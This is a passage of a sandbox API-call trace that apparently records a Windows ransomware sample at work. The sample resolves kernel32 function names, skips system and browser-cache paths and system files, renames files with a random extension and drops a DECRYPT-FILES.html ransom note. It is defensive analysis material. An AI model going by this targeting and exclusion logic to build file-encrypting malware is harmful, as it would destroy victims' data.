lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0123.331] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0123.331] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0123.331] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0123.331] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0123.331] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0123.331] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0123.331] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0123.331] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0123.331] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0123.331] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0123.331] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0123.331] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0123.331] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0123.331] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0123.332] lstrlenA (lpString="CREATEEVENTA") returned 12 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0123.332] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0123.332] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0123.332] lstrlenA (lpString="CREATEEVENTW") returned 12 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0123.332] lstrlenA (lpString="CREATEFIBER") returned 11 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0123.332] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0123.332] lstrlenA (lpString="CREATEFILE2") returned 11 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0123.332] lstrlenA (lpString="CREATEFILEA") returned 11 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0123.332] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0123.332] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0123.332] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0123.332] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0123.332] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0123.332] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0123.332] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0123.332] lstrlenA (lpString="CREATEFILEW") returned 11 [0123.332] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0123.333] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0123.333] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0123.333] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0123.333] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0123.333] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0123.333] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0123.333] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0123.333] lstrlenA (lpString="CREATEJOBSET") returned 12 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0123.333] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0123.333] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0123.333] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0123.333] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0123.333] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0123.333] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0123.333] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0123.333] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0123.333] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0123.333] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0123.334] lstrlenA (lpString="CREATEPIPE") returned 10 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0123.334] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0123.334] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0123.334] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0123.334] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0123.334] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0123.334] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0123.334] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0123.334] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0123.334] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0123.334] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0123.334] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0123.334] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0123.334] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0123.334] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0123.334] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0123.334] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0123.335] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0123.335] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0123.335] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0123.335] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0123.335] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0123.335] lstrlenA (lpString="CREATETHREAD") returned 12 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0123.335] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0123.335] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0123.335] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0123.335] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0123.335] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0123.335] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0123.335] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0123.335] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0123.336] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.ZVLhG6") returned 52 [0123.336] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.ZVLhG6" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.zvlhg6"), dwFlags=0x0) returned 1 [0123.337] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.337] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.337] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x3b810c0, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0123.338] FindClose (in: hFindFile=0x3b810c0 | out: hFindFile=0x3b810c0) returned 1 [0123.338] CloseHandle (hObject=0x528) returned 1 [0123.338] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1 [0123.338] lstrcmpW (lpString1="1038", lpString2=".") returned 1 [0123.338] lstrcmpW (lpString1="1038", lpString2="..") returned 1 [0123.338] lstrcatW (in: lpString1="1038", lpString2="\\" | out: lpString1="1038\\") returned="1038\\" [0123.338] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1038\\" | out: lpString1="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch=":\\Windows") returned 0x0 [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch="\\Program Files") returned 0x0 [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch="\\Games\\") returned 0x0 [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch="\\Tor Browser\\") returned 0x0 [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch="\\ProgramData\\") returned 0x0 [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0123.338] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1038\\", lpSrch="\\All Users") returned 0x0 [0123.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\") returned 27 [0123.339] lstrlenW (lpString="eogwkz.dat") returned 10 [0123.339] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\\\eogwkz.dat") returned 38 [0123.339] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1038\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0123.339] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\") returned 27 [0123.339] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0123.339] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1038\\\\DECRYPT-FILES.html") returned 46 [0123.339] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1038\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0123.353] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0123.354] CloseHandle (hObject=0x470) returned 1 [0123.354] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\") returned 27 [0123.354] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1038\\*") returned="C:\\588bce7c90097ed212\\1038\\*" [0123.354] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4fc64b74, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81300 [0123.355] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.355] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4fc64b74, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0123.355] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.355] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.355] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fc3ea40, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4fc3ea40, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4fc64b74, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0123.355] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0123.355] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fc3ea40, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x4fc3ea40, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x4fc3ea40, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0123.355] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0123.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\") returned 27 [0123.355] lstrlenW (lpString="eogwkz.dat") returned 10 [0123.355] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1038\\" | out: lpString1="C:\\588bce7c90097ed212\\1038\\") returned="C:\\588bce7c90097ed212\\1038\\" [0123.355] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1038\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1038\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1038\\eogwkz.dat" [0123.355] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0123.356] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1038\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0123.356] CloseHandle (hObject=0x0) returned 0 [0123.356] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0123.356] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0123.356] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0123.357] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0123.357] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\") returned 27 [0123.357] lstrlenW 